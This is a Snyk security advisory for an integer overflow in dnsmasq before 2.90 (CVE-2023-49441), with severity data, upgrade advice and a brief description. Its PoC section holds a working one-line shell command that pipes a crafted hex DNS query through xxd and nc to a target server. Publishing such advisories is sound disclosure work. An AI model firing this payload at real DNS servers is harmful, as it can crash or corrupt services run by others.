Integer Overflow Affecting dnsmasq package, versions [,2.90)


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.66% (48th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications

Snyk Learn

Learn about Integer Overflow vulnerabilities in an interactive lesson.

Start learning
  • Snyk IDSNYK-UNMANAGED-DNSMASQ-7231117
  • published10 Jun 2024
  • disclosed6 Jun 2024
  • creditFeifan Wu

Introduced: 6 Jun 2024

CVE-2023-49441  (opens in a new tab)
CWE-190  (opens in a new tab)

How to fix?

Upgrade dnsmasq to version 2.90 or higher.

Overview

Affected versions of this package are vulnerable to Integer Overflow via the forward_query process. An attacker can manipulate memory allocation and potentially cause a program crash or incorrect data processing by sending specially crafted queries.

PoC

echo -n 'c97b01000001000000000000047465737403636f6d0000020001' | xxd
-r -p | nc -u target_addr target_port

CVSS Base Scores

version 4.0
version 3.1